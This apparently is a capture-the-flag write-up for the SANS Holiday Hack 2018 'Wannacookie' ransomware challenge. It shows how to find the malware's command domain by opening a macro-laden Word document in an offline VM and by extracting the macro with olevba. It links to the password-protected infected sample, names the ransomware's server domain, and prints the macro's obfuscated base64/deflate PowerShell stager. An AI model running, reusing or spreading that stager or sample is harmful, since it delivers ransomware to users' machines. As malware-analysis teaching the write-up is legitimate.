Objective 9.2: Identify the Domain

In this Objective, we need to identify the domain the malware communicates.

If we have completed Sleigh Bell Lottery Cranberry Pi terminal by Shinny Upatree, then we get a hint which is.
“Sweet candy goodness – I win! Thank you so much!
Have you heard that Kringle Castle was hit by new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by, and their files were encrypted.
Many elves were affected, so Alabaster went to see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analysing Wannacookie on his computer.
An elf I follow online said he analysed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends on how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.”

So, we know it’s a .doc file, and it’s malware related, (I’m thinking macros here).ZIP file (https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip) (With the password: elves)
WARING this file is infected, the opening is doing so at your own risk!

So here is that evil cookie file! (Even do cookies are nice. Is the cookie a lie?)

Uploading the file to (https://www.virustotal.com) we can see in the details tab that 53% is macros.

We can use olevba“olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, anti-sandboxing and anti-virtualization techniques, and potential IOCs (IP addresses, URLs, executable filenames, etc).”
We need to find the domain name that the malware is using to communicate with that’s within the macros, and I’m guessing PowerShell.

…….. However, I wonder what would happen if we open the file? Open the file within a VM (virtual machine) not connected to the internet.

Well, I guess that worked too!

Moreover, there is the domain name/answer we needed! “erohetfanu.com” I’m guessing the PowerShell failed to connect to the server (Since the VM has no internet access) and giving us this error, showing the URL!
If this had failed, then olevba would have been used. Let’s use the quick and dirty method? Ha!

However, let’s use olevba, as we need the code later on to complete Kringlecon.

First, we need to install Olevba; a guide found here, install on Linux (it works on Windows too!).

Next, we need to use Olevba which in Linux is just pointing it to the file “olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm”, now we get some output, and it’s the PowerShell script retrieved from Olevba.

We now need to run it, so it’s back to Windows (Yes, I’m aware you can run PowerShell within Linux using pwsh, but I need to fix mine, hence why Windows used).
Before running this PowerShell script don’t forget to remove “iex”, this makes the script somewhat harmless.
“The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command.” (https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6)

Which will leave us with this:

 "sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()".

So if we run it within Windows, we get this output.

Moreover, that’s how we can get the code which is needed later on with Kringlecon.

Also, here is the cookie recipe. Don’t worry it’s macro-free!

Leave a Comment

Your email address will not be published. Required fields are marked *